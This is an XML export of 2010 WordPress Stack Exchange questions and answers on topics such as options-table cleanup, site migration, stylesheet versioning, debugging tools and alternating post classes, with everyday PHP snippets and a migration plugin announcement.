  <row Id="160" PostTypeId="2" ParentId="43" CreationDate="2010-08-12T01:19:16.803" Score="3" ViewCount="" Body="&lt;p&gt;The plugin &lt;a href=&quot;http://wordpress.org/extend/plugins/clean-options/&quot; rel=&quot;nofollow&quot;&gt;Clean Options&lt;/a&gt; has worked well for me. The author's description of the plugin seems to fit what you need: &quot;Finds orphaned options and allows for their removal from the wp_options table.&quot;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I haven't tried &lt;a href=&quot;http://wordpress.org/extend/plugins/wp-optimize/&quot; rel=&quot;nofollow&quot;&gt;WP-Optimize&lt;/a&gt; yet personally, but that one looks promising too. And it says it supports WP 2.7 (whereas Clean Options only mentions definite support for WP 2.3), nice!&lt;/p&gt;&#xA;" OwnerUserId="128" LastActivityDate="2010-08-12T01:19:16.803" />
  <row Id="161" PostTypeId="2" ParentId="91" CreationDate="2010-08-12T01:30:49.240" Score="3" ViewCount="" Body="&lt;p&gt;Here's an answer from a slightly different perspective.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Personally, I would love it if the theme handled all of the SEO issues itself, instead of an external plugin. But whenever I build a custom theme for a client, I include the All in One SEO plugin even though my theme is already packed with SEO goodness.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The reason is because my clients aren't always tech- or SEO-savvy. Having the ability to change title formats across pages, or meta description tags on each page, is something they want (even though not many actually use it in practice). It also saves me the work of adding custom fields to the WP admin to surface this kind of functionality, which is really nice.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;(There's also the peace of mind it gives to certain clients. Completely perceptual, but hey.)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The Google XML Sitemaps plugin, on the other hand... that's one piece of functionality I wish was bundled with the WordPress core.&lt;/p&gt;&#xA;" OwnerUserId="128" LastActivityDate="2010-08-12T01:30:49.240" />
  <row Id="162" PostTypeId="2" ParentId="119" CreationDate="2010-08-12T01:48:58.133" Score="13" ViewCount="" Body="&lt;p&gt;When possible, I set &lt;code&gt;WP_HOME&lt;/code&gt; and &lt;code&gt;WP_SITEURL&lt;/code&gt; in &lt;code&gt;wp-config.php&lt;/code&gt;. This, combined with a database dump and import, is the most simple of all solutions I'm familiar with.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;http://codex.wordpress.org/Changing_The_Site_URL#Edit_wp-config.php&quot; rel=&quot;nofollow&quot;&gt;http://codex.wordpress.org/Changing_The_Site_URL#Edit_wp-config.php&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="66" LastActivityDate="2010-08-12T01:48:58.133" CommentCount="1" />
  <row Id="163" PostTypeId="2" ParentId="136" CreationDate="2010-08-12T01:58:30.250" Score="5" ViewCount="" Body="&lt;p&gt;This may be inappropriate, please let me know if I missed something.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The fourth argument to &lt;code&gt;wp_enqueue_style()&lt;/code&gt; is the stylesheet's version number. In your theme's &lt;code&gt;functions.php&lt;/code&gt;:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;function my_theme_styles() {&#xA;    // replace &quot;10&quot; with your version number; increment as you push changes&#xA;    wp_enqueue_style('my-theme-style', get_bloginfo('template_directory') . '/style.css', false, 10);&#xA;}&#xA;add_action('wp_print_styles', 'my_theme_styles');&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Requires that your &lt;code&gt;header.php&lt;/code&gt; does a &lt;code&gt;wp_head()&lt;/code&gt;, which &lt;a href=&quot;http://codex.wordpress.org/Theme_Development#Plugin_API_Hooks&quot; rel=&quot;nofollow&quot;&gt;of course&lt;/a&gt; you were doing anyway. ;)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;This allows you to push long expiry headers with your CSS file, and force clients to download a new file by updating the version number. WP will append &quot;?ver=N&quot; to the URL of your CSS file.&lt;/p&gt;&#xA;" OwnerUserId="66" LastEditorUserId="66" LastEditorDisplayName="" LastEditDate="2010-08-12T12:37:23.837" LastActivityDate="2010-08-12T12:37:23.837" />
  <row Id="164" PostTypeId="2" ParentId="136" CreationDate="2010-08-12T02:27:49.663" Score="2" ViewCount="" Body="&lt;p&gt;Well, you could simply use &lt;code&gt;style.css&lt;/code&gt; as the place where you call the version you want. Simply put&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;@import url(&quot;style-1.css&quot;);&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Then when you upgrade a version, just edit it to be:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;@import url(&quot;style-2.css&quot;);&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;As for saving versions, have you considered using a &lt;a href=&quot;http://subversion.tigris.org/&quot; rel=&quot;nofollow&quot;&gt;Subversion&lt;/a&gt;, or &lt;a href=&quot;http://git-scm.com/&quot; rel=&quot;nofollow&quot;&gt;git&lt;/a&gt;? Then you can have a complete track record of your stylesheet. It's possible I'm not fully understanding the full reasons for your versioning.&lt;/p&gt;&#xA;" OwnerUserId="12" LastEditorUserId="12" LastEditorDisplayName="" LastEditDate="2010-08-12T03:11:35.737" LastActivityDate="2010-08-12T03:11:35.737" />
  <row Id="165" PostTypeId="2" ParentId="158" CreationDate="2010-08-12T02:40:43.923" Score="2" ViewCount="" Body="&lt;p&gt;I'm not sure if this is applicable, but I just went through a similar process of simultaneously migrating and upgrading a high-traffic site.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The basic strategy was to work on a staging server, then when everything was ready, do a mysql dump on the live server, import it to the staging server, do any required cleanup, then point the DNS records to the staging server, causing the staging server to become the new live server.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The tricky bit is to then merge all the data that accumulates during DNS propagation into the staging server (which is now the live server). In other words, if 30 hours pass between when you do your mysql dump / update DNS and when DNS propagation is complete, you'll have to selectively merge 30 hours of records from the old site to the new one.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;It's not a seamless process, but by the time we got a week down the road all the kinks had smoothed themselves out.&lt;/p&gt;&#xA;" OwnerUserId="15" LastActivityDate="2010-08-12T02:40:43.923" CommentCount="3" />
  <row Id="168" PostTypeId="2" ParentId="145" CreationDate="2010-08-12T02:58:48.140" Score="2" ViewCount="" Body="&lt;p&gt;After tinkering with a number of IDE's, I settled into plain old &lt;a href=&quot;http://notepad-plus-plus.org/&quot; rel=&quot;nofollow&quot;&gt;Notepad++&lt;/a&gt; with an ultra-customized Syntax Highlighting color scheme.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I have a macro set up such that when I hit Shift-Ctrl-X , the following code gets output where my cursor is:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;echo &quot;&amp;lt;pre&amp;gt;&quot;;&#xA;var_dump($);&#xA;echo &quot;&amp;lt;/pre&amp;gt;&quot;;&#xA;exit();&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;It's simple, but I can generally hunt down 90% of my bugs with this macro plus WP_DEBUG enabled.&lt;/p&gt;&#xA;" OwnerUserId="15" LastActivityDate="2010-08-12T02:58:48.140" CommentCount="1" />
  <row Id="169" PostTypeId="1" AcceptedAnswerId="172" CreationDate="2010-08-12T02:58:56.250" Score="0" ViewCount="82" Body="&lt;p&gt;Is there anyway I can add an html link from the quick press on the Wp-admin Dashboard? Does it accept html? If only I could do that, I wouldn't have to go to create new post everytime I wanted to blog.&lt;/p&gt;&#xA;" OwnerUserId="138" LastActivityDate="2010-08-12T03:07:08.103" Title="Html and links via Quick press" Tags="&lt;html&gt;&lt;links&gt;&lt;dashboard&gt;" AnswerCount="1" FavoriteCount="1" />
  <row Id="170" PostTypeId="2" ParentId="145" CreationDate="2010-08-12T03:02:30.470" Score="1" ViewCount="" Body="&lt;p&gt;I recommend checking out &lt;a href=&quot;http://www.firephp.org/&quot; rel=&quot;nofollow&quot;&gt;FirePHP&lt;/a&gt;. You can send debug info to Firefox's Firebug over HTTP headers, which usually makes for cleaner debug output.&lt;/p&gt;&#xA;" OwnerUserId="66" LastActivityDate="2010-08-12T03:02:30.470" />
  <row Id="171" PostTypeId="1" AcceptedAnswerId="399" CreationDate="2010-08-12T03:04:04.583" Score="0" ViewCount="164" Body="&lt;p&gt;Everytime wordpress stats updates, I need to provide the API key. Is there someway to automate this?&lt;/p&gt;&#xA;" OwnerUserId="138" LastActivityDate="2010-08-16T16:50:21.303" Title="Wordpress stats API key" Tags="&lt;plugins&gt;&lt;stats&gt;&lt;api&gt;" AnswerCount="1" CommentCount="5" />
  <row Id="172" PostTypeId="2" ParentId="169" CreationDate="2010-08-12T03:07:08.103" Score="1" ViewCount="" Body="&lt;p&gt;QuickPress does allow html to be added. Just try it. Add this as the content of your post inside QuickPress:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;b&amp;gt;&amp;lt;a href=&quot;http://wordpress.stackexchange.com/&quot;&amp;gt;Test Link!&amp;lt;/a&amp;gt;&amp;lt;/b&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="12" LastActivityDate="2010-08-12T03:07:08.103" />
  <row Id="173" PostTypeId="2" ParentId="145" CreationDate="2010-08-12T03:15:53.743" Score="0" ViewCount="" Body="&lt;p&gt;There are two IDEs I can recommend and I've used both extensively: &lt;a href=&quot;http://www.nusphere.com/products/php_debugger.htm&quot; rel=&quot;nofollow&quot;&gt;PhpED&lt;/a&gt; (Windows only) and &lt;a href=&quot;http://www.jetbrains.com/phpstorm/&quot; rel=&quot;nofollow&quot;&gt;PhpStorm&lt;/a&gt;+XDEBUG (Mac, Windows and Linux.) I'm on Mac now so can only use the latter. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Both of them ROCK!  The good news that PhpStorm is $49 before September 2010 and only $99 after that. If I was on Windows and had to choose again, not sure which I would choose.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Frankly I can't help but feel that any plugin developer not using one of these two tools is severely handicapped, especially if they are relatively new to developing WordPress plugins.&lt;/p&gt;&#xA;" OwnerUserId="89" LastActivityDate="2010-08-12T03:15:53.743" />
  <row Id="174" PostTypeId="1" AcceptedAnswerId="185" CreationDate="2010-08-12T03:26:17.307" Score="2" ViewCount="215" Body="&lt;p&gt;I need to have an alternating (even, odd...) class on posts to provide alternate highlights on a column. The best thing would be to attach this to the post_class() so that it's on every instance of post_class(). Below is the code I have at this point to achieve this effect.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;?php &#xA;&#xA;// setting other variables for alternating categories&#xA;$style_classes = array('even', 'odd');&#xA;$style_counter = 0;&#xA;?&amp;gt;&#xA;&#xA;&amp;lt;?php if (have_posts()) : ?&amp;gt;&#xA;&#xA;&amp;lt;?php while (have_posts()) : the_post(); ?&amp;gt;&#xA;&#xA;&amp;lt;div class=&quot;&amp;lt;?php $k = $style_counter%2; echo $style_classes[$k]; $style_counter++; ?&amp;gt;&quot;&amp;gt;&#xA;&#xA;&amp;lt;?php the_cotent(); ?&amp;gt;&#xA;&#xA;&amp;lt;/div&amp;gt;&#xA;&#xA;&amp;lt;?php endwhile; ?&amp;gt;&#xA;&#xA;&amp;lt;?php endif; ?&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="141" LastEditorUserId="81" LastEditorDisplayName="" LastEditDate="2010-08-12T07:09:34.593" LastActivityDate="2010-08-12T07:09:34.593" Title="Alternate post_class on each post" Tags="&lt;post-class&gt;" AnswerCount="2" FavoriteCount="1" />
  <row Id="175" PostTypeId="1" AcceptedAnswerId="275" CreationDate="2010-08-12T03:33:45.983" Score="3" ViewCount="410" Body="&lt;p&gt;Use case:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I have a post type that relates to a music show. The 'show time' is grabbed through the post publish date which is set to some time in the future. I've found a function that takes future dated blog posts and leaves the date but marks the post as published on save but haven't been able to figure how to customize it for a custom post type.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The function is below.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;?php&#xA;function setup_future_hook() {&#xA; // Replace native future_post function with replacement&#xA; remove_action('future_post','show', '_future_post_hook');&#xA; add_action('future_post', 'show', 'publish_future_post_now');&#xA;}&#xA;&#xA;function publish_future_post_now($id) {&#xA;// Set new post's post_status to &quot;publish&quot; rather than &quot;future.&quot;&#xA;    wp_publish_post($id);&#xA;}&#xA;&#xA;add_action('init', 'setup_future_hook');&#xA;?&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="141" LastEditorUserId="25" LastEditorDisplayName="" LastEditDate="2010-08-12T21:39:59.173" LastActivityDate="2011-05-11T08:51:43.110" Title="Marking future dated post as published" Tags="&lt;custom-post-types&gt;&lt;init&gt;" AnswerCount="4" CommentCount="1" FavoriteCount="1" />
  <row Id="176" PostTypeId="2" ParentId="174" CreationDate="2010-08-12T03:52:33.707" Score="0" ViewCount="" Body="&lt;p&gt;This works, it passes in the additional class into &lt;a href=&quot;http://codex.wordpress.org/Template_Tags/post_class&quot; rel=&quot;nofollow&quot;&gt;&lt;strong&gt;&lt;code&gt;post_class()&lt;/code&gt;&lt;/strong&gt;&lt;/a&gt;:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;?php $c = 0; ?&amp;gt;&#xA;&amp;lt;?php if (have_posts()) : ?&amp;gt;&#xA;    &amp;lt;?php while (have_posts()) : the_post(); ?&amp;gt;&#xA;        &amp;lt;div &amp;lt;?php post_class((++$c % 2 === 0) ? 'odd' : 'even'); ?&amp;gt;&amp;gt;&#xA;            &amp;lt;?php the_content(); ?&amp;gt;&#xA;        &amp;lt;/div&amp;gt;&#xA;    &amp;lt;?php endwhile; ?&amp;gt;&#xA;&amp;lt;?php endif; ?&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;EDIT:&lt;/strong&gt; Here's a way that creates a version of &lt;code&gt;post_class()&lt;/code&gt; that will keep track of the count on the page. Now, it will use a new name, &lt;code&gt;oddeven_post_class()&lt;/code&gt; but it does work as you want. All you need to do is drop this into &lt;strong&gt;&lt;code&gt;functions.php&lt;/code&gt;&lt;/strong&gt;:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;/* Drop this block into functions.php */&#xA;class MyCounter {&#xA;    var $c = 0;&#xA;    function increment(){&#xA;        ++$this-&amp;gt;c;&#xA;        return;&#xA;    }&#xA;    function oddOrEven(){&#xA;        $out = ($this-&amp;gt;c % 2 === 0) ? 'odd' : 'even';&#xA;        $this-&amp;gt;increment();&#xA;        return $out;&#xA;    }&#xA;}&#xA;$my_instance = new MyCounter();&#xA;function post_class_oddeven() {&#xA;    global $my_instance;&#xA;    ob_start();&#xA;    post_class($my_instance-&amp;gt;oddOrEven());&#xA;    $str = ob_get_contents();&#xA;    ob_end_clean();&#xA;    echo $str;&#xA;}&#xA;/* end block */&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;So to call it, use &lt;strong&gt;&lt;code&gt;post_class_oddeven()&lt;/code&gt;&lt;/strong&gt; in your theme wherever you would call &lt;code&gt;post_class()&lt;/code&gt;&lt;/p&gt;&#xA;" OwnerUserId="12" LastEditorUserId="12" LastEditorDisplayName="" LastEditDate="2010-08-12T04:44:52.820" LastActivityDate="2010-08-12T04:44:52.820" CommentCount="2" />
  <row Id="177" PostTypeId="2" ParentId="43" CreationDate="2010-08-12T04:02:37.087" Score="4" ViewCount="" Body="&lt;p&gt;There is no query that will be 100% certain to delete everything unused and not delete those things because any theme or plugin can add options to the &lt;code&gt;wp_options&lt;/code&gt; table.  Still, with a little effort you can get a pretty good idea of what's not in use and then manually decide which of those things to delete and which not to.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You can put the following code temporarily into your theme's &lt;code&gt;functions.php&lt;/code&gt; file and then visit every (type of) page on your public-facing site and more importantly all the admin pages in the admin console. Once you've done that you can open your &lt;code&gt;wp_options&lt;/code&gt; table and look at the field &lt;code&gt;use_count&lt;/code&gt; (added by the code below) to see which options have a &lt;code&gt;use_count&lt;/code&gt; equals to zero (the use count is mostly meaningless other than anything greater than 1 has been read or updated at least once since you added this code.)&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;global $wpdb;&#xA;header('Content-Type:text/plain');&#xA;$results = $wpdb-&amp;gt;get_results(&quot;SHOW COLUMNS FROM wp_options WHERE Field='use_count'&quot;);&#xA;if (count($results)==0) {&#xA;    $wpdb-&amp;gt;query(&quot;ALTER TABLE {$wpdb-&amp;gt;options} ADD COLUMN use_count int UNSIGNED NOT NULL DEFAULT '0' AFTER autoload&quot;);&#xA;}&#xA;&#xA;add_action('all','monitor_get_option_usage');&#xA;function monitor_get_option_usage($filter){&#xA;    if (preg_match('#^option_(.*)$#',$filter)) {&#xA;        increment_option_use_count(substr($filter,7));&#xA;    }&#xA;}&#xA;add_action('updated_option','monitor_update_option_usage');&#xA;function monitor_update_option_usage($option){&#xA;    increment_option_use_count($option);&#xA;}&#xA;function increment_option_use_count($option) {&#xA;    global $wpdb;&#xA;    $wpdb-&amp;gt;query(&quot;UPDATE {$wpdb-&amp;gt;options} SET use_count = use_count + 1 WHERE option_name = '$option'&quot;);&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;With this you'll probably be able to identify options that are associated with long gone plugins, former themes and even options of your own you added early on but no longer use. Export them all to a backup (just in case) and then delete the ones you are comfortable deleting.  Once you are done you can remove the &lt;code&gt;use_count&lt;/code&gt; field (if you want to, doesn't hurt for it to be there) and also remove the code above from your &lt;code&gt;functions.php&lt;/code&gt; file too.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Although this is still not perfect it's much better than nothing. Hope it helps?&lt;/p&gt;&#xA;" OwnerUserId="89" LastActivityDate="2010-08-12T04:02:37.087" CommentCount="2" />
  <row Id="178" PostTypeId="2" ParentId="70" CreationDate="2010-08-12T04:11:43.350" Score="2" ViewCount="" Body="&lt;p&gt;Add me to the Gravity Forms supporters list. Of course it does a lot more than just contact forms. You should definitely check out the feature list and decide if it is worth your $39 dollars. It was a no-brainer for me and I bought the unlimited site developer license.  The time that it saves me makes it worth it.&lt;/p&gt;&#xA;" OwnerUserId="144" LastActivityDate="2010-08-12T04:11:43.350" />
  <row Id="179" PostTypeId="2" ParentId="158" CreationDate="2010-08-12T04:18:59.380" Score="2" ViewCount="" Body="&lt;p&gt;If you follow SethMerrick's advice, you can greatly reduce the switchover time by lowering the TTL on the appropriate DNS records to 5 mins or so several hours (depending on what the current TTL is) before you change the IP address.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;By doing this you are telling remote DNS servers to only cache the address for 5 mins. Once you change the IP, you can increase the TTL to whatever it was before. To further minimize the effect, do the switchover during a low traffic period.&lt;/p&gt;&#xA;" OwnerUserId="144" LastActivityDate="2010-08-12T04:18:59.380" CommentCount="1" />
  <row Id="180" PostTypeId="2" ParentId="70" CreationDate="2010-08-12T05:08:57.777" Score="1" ViewCount="" Body="&lt;p&gt;I've been pleased with the (free) &lt;a href=&quot;http://wordpress.org/extend/plugins/deko-boko-a-recaptcha-contact-form-plugin/&quot; rel=&quot;nofollow&quot;&gt;Deko Boko forms plugin&lt;/a&gt;. Flexible, easy to modify and recaptcha is integrated.&lt;/p&gt;&#xA;" OwnerUserId="59" LastActivityDate="2010-08-12T05:08:57.777" CommentCount="2" />
  <row Id="181" PostTypeId="2" ParentId="82" CreationDate="2010-08-12T05:13:36.037" Score="1" ViewCount="" Body="&lt;p&gt;I'm a big fan of the &lt;a href=&quot;http://wordpress.org/extend/plugins/bad-behavior/&quot; rel=&quot;nofollow&quot;&gt;Bad Behavior plugin&lt;/a&gt;. Works great when paired with Akismet (imho).&lt;/p&gt;&#xA;" OwnerUserId="59" LastActivityDate="2010-08-12T05:13:36.037" />
  <row Id="182" PostTypeId="2" ParentId="119" CreationDate="2010-08-12T05:33:19.513" Score="35" ViewCount="" Body="&lt;p&gt;&lt;strong&gt;@Insanity5902&lt;/strong&gt;: Deployment of a WordPress site from one box to another has been a PITA since day one I started working with WordPress. (Truth-be-told it was a PITA with Drupal for 2 years before I started with WordPress so the problem is certainly not exclusively with WordPress.)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;It bothered me that every time I needed to move a site I'd have to spend so much often duplicated effort and it kept me from deploying to test as frequently as I would have preferred. So about 4-6 months ago I started working on a plugin to solve the webhost migration problem and &lt;a href=&quot;http://www.wptavern.com/forum/plugins-hacks/1445-domain-switcher-plugin-functionality.html&quot; rel=&quot;nofollow&quot;&gt;I mentioned my ideas on the WP Tavern forum&lt;/a&gt;. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Well fast forward to today and I've pretty much got it working and I'm conveniently calling it &quot;&lt;strong&gt;&lt;em&gt;WP Migrate Webhosts&lt;/em&gt;&lt;/strong&gt;.&quot; Even though the plugin is still very much beta (probably even alpha) given your question I think I'm ready to let people start banging on it.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The envisioned use-case is that 1.) first the developer handles uploading all the changed theme and plugin files via FTP, 2.) then uploads the development MySQL database to the testing server in its entirety and finally 3.) &lt;em&gt;then&lt;/em&gt; runs the plugin to migrate any references from the prior domain to the new one. (My plugin does &lt;em&gt;not&lt;/em&gt; attempt to solve the merging of new database fields or tables with live data; &lt;em&gt;THAT&lt;/em&gt; is a much bigger problem that I'm not sure how to solve.)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You can &lt;a href=&quot;http://mikeschinkel.com/downloads/wp-migrate-webhosts-0.6.zip&quot; rel=&quot;nofollow&quot;&gt;download the plugin&lt;/a&gt; from my website and unzip into your plugins directory (if you don't know how to do this then this plugin is not for you because it requires someone who knows what they are doing to use it.) I'll keep this plugin online until I release it to WordPress.org after which you should look for it there.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;To use it you take a different approach in your &lt;code&gt;wp-config.php&lt;/code&gt; that normal by commenting out the four (4) defines &lt;code&gt;DB_NAME&lt;/code&gt;, &lt;code&gt;DB_USER&lt;/code&gt;, &lt;code&gt;DB_PASSWORD&lt;/code&gt; and &lt;code&gt;DB_HOST&lt;/code&gt; and instead &lt;em&gt;registering&lt;/em&gt; the defaults for webhosts and then registering info about each webhost itself. Here's what that segment of &lt;code&gt;wp-config.php&lt;/code&gt; might look like (note the first section is the unneeded code commented out and also note that I set up my hosts file on my local machine with non-routable &lt;code&gt;.dev&lt;/code&gt; top level domains to make day-to-day development easier. On the Mac &lt;a href=&quot;http://clickontyler.com/virtualhostx/&quot; rel=&quot;nofollow&quot;&gt;VirtualHostX&lt;/a&gt; makes this a breeze):&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;// ** MySQL settings - You can get this info from your web host ** //&#xA;/** The name of the database for WordPress */&#xA;//define('DB_NAME', 'wp30');&#xA;&#xA;/** MySQL database username */&#xA;//define('DB_USER', 'wp30_anon');&#xA;&#xA;/** MySQL database password */&#xA;//define('DB_PASSWORD', '12345');&#xA;&#xA;/** MySQL hostname */&#xA;//define('DB_HOST', '127.0.0.1:3306');&#xA;&#xA;require_once(ABSPATH . 'wp-content/plugins/wp-migrate-webhosts/wp-webhosts.php');&#xA;register_webhost_defaults(array(&#xA; 'database'  =&amp;gt; 'example_db',&#xA; 'user'      =&amp;gt; 'example_user',&#xA; 'password'  =&amp;gt; '12345',&#xA; 'host'      =&amp;gt; 'localhost',&#xA; 'sitepath'  =&amp;gt; '',        // '' if WordPress is installed in the root&#xA;));&#xA;register_webhost('dev',array(&#xA; 'name'      =&amp;gt; 'Example Local Development',&#xA; 'host'      =&amp;gt; '127.0.0.1:3306',&#xA; 'domain'    =&amp;gt; 'example.dev',&#xA; 'rootdir'   =&amp;gt; '/Users/mikeschinkel/Sites/example/trunk',&#xA;));&#xA;register_webhost('test',array(&#xA; 'name'      =&amp;gt; 'Example Test Server',&#xA; 'rootdir'   =&amp;gt; '/home/example/public_html/test',&#xA; 'domain'    =&amp;gt; 'test.example.com',&#xA;));&#xA;register_webhost('stage',array(&#xA; 'name'      =&amp;gt; 'Example Staging Server',&#xA; 'rootdir'   =&amp;gt; '/home/example/public_html/stage',&#xA; 'domain'    =&amp;gt; 'stage.example.com',&#xA;));&#xA;register_webhost('live',array(&#xA; 'name'      =&amp;gt; 'Example Live Site',&#xA; 'rootdir'   =&amp;gt; '/home/example/public_html/',&#xA; 'password'  =&amp;gt; '%asd59kar12*fr',&#xA; 'domain'    =&amp;gt; 'www.example.com',&#xA;));&#xA;require_once(ABSPATH . 'wp-content/plugins/wp-migrate-webhosts/set-webhost.php');&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Hopefully this is (mostly) self explanatory. I attempted to make the code as clean as I could but unfortunately it requires those two cryptic &lt;code&gt;require_once()&lt;/code&gt; lines before and after the block of webhost registration code since there was no way for me to &quot;&lt;em&gt;hook&lt;/em&gt;&quot; WordPress before &lt;code&gt;wp-config.php&lt;/code&gt; is called.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Once you have updated your &lt;code&gt;wp-config.php&lt;/code&gt; then you can simply use the URL shortcut &lt;code&gt;wp-migrate-webhosts&lt;/code&gt; to go to the admin screen like so:&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;&lt;a href=&quot;http://example.com/wp-migrate-webhosts&quot; rel=&quot;nofollow&quot;&gt;http://example.com/wp-migrate-webhosts&lt;/a&gt;&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;The above will take you to an admin screen like the following which has a fair bit of description text and allows you to migrate &lt;em&gt;FROM&lt;/em&gt; any of the other webhost domains with a single click after selecting the domains to migrate from (&lt;em&gt;NOTE&lt;/em&gt;: this example shows going &lt;em&gt;DOWN&lt;/em&gt; from test/stage/live servers to local development but rest assured it can migrate &lt;em&gt;TO&lt;/em&gt; any domain where it happens to be located. This also means &lt;strong&gt;the plugin will be great for taking an existing live site and quickly getting a local development environment working!&lt;/strong&gt;):&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;http://mikeschinkel.com/websnaps/skitched-20100812-010220.png&quot; alt=&quot;WP Migrate Webhosts Website Deployment Plugin Admin Screen&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If it's not clear &quot;&lt;em&gt;migration&lt;/em&gt;&quot; in this context means to update all the references in the current database to be appropriate for the currently defined webhost (and &quot;&lt;em&gt;current&lt;/em&gt;&quot; is &lt;em&gt;sniffed&lt;/em&gt; by inspecting &lt;code&gt;$_SERVER['SERVER_NAME']&lt;/code&gt;.) &lt;/p&gt;&#xA;&#xA;&lt;p&gt;What's cool about the plugin is that it implements some basic migrations but &lt;strong&gt;anyone can hook it and perform their own migrations&lt;/strong&gt;. For example, if you add a gallery plugin that stored full paths to images in the database you could hook the &lt;code&gt;migrate_webhosts&lt;/code&gt; action which will be passed the &quot;&lt;em&gt;from&lt;/em&gt;&quot; webhost and the &quot;&lt;em&gt;to&lt;/em&gt;&quot; webhost each as an array of metadata and you'll be allowed to perform whatever you need to do in the database using SQL or any applicable WordPress API functions to do the migration. Yes any of us could do this without the plugin but without the plugin I found that writing all the code needed was more effort than it was worth. With the plugin it's just easier to write these tiny hooks and get it over with.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You may also find my migrations fail in edge cases I've not tested and maybe you can help me improve the plugin?  Anyone who wants to can email me via my gmail account (my alias is &quot;mikeschinkel.&quot;)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Also, the plugin was designed to accept user-define webhost metadata in addition to the ones it recognizes like &lt;code&gt;database&lt;/code&gt;, &lt;code&gt;user&lt;/code&gt;, &lt;code&gt;password&lt;/code&gt;, &lt;code&gt;host&lt;/code&gt;, &lt;code&gt;domain&lt;/code&gt; etc. A perfect example might be &lt;code&gt;googlemaps_apikey&lt;/code&gt; where you can store a the different API keys for each domain that your Google Map's plugin needs to operate correct (who among you who has used a Google Maps plugin hasn't deployed an app to a live server and forgotten to change the code to the correct API key? Come on, be honest... :)  With this plugin, a &lt;code&gt;googlemaps_apikey&lt;/code&gt; element in your register_webhost() array and a small custom &lt;code&gt;migrate_webhosts&lt;/code&gt; hook you can effectively eliminate that as a concern!&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Well that's about it.  I'm launching this plugin here on WordPress Answer's Exchange because &#xA;@Insanity5902's question triggered it. Let me know if it's helpful, here if appropriate or via email if not.&lt;/p&gt;&#xA;&#xA;&#xA;&#xA;&#xA;&#xA;&lt;p&gt;P.S. If you do decide to use this remember it is alpha/beta and that means it will change so be prepared for some minor surgery if you want to use it now and then use the released version once its been beaten on by many hands.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;P.P.S. What are my goals with this?  I've love to see this migrate into WordPress core so that everybody would have access to it. But before that can even be considered lots of people have to be interested in using it to ensure it actually solves more problems then it potentially could create. So if you like the idea then by all means use it and help me gain momentum with it for eventual hopeful inclusion into WordPress core.&lt;/p&gt;&#xA;" OwnerUserId="89" LastEditorUserId="89" LastEditorDisplayName="" LastEditDate="2010-12-16T19:04:34.717" LastActivityDate="2010-12-16T19:04:34.717" CommentCount="15" />
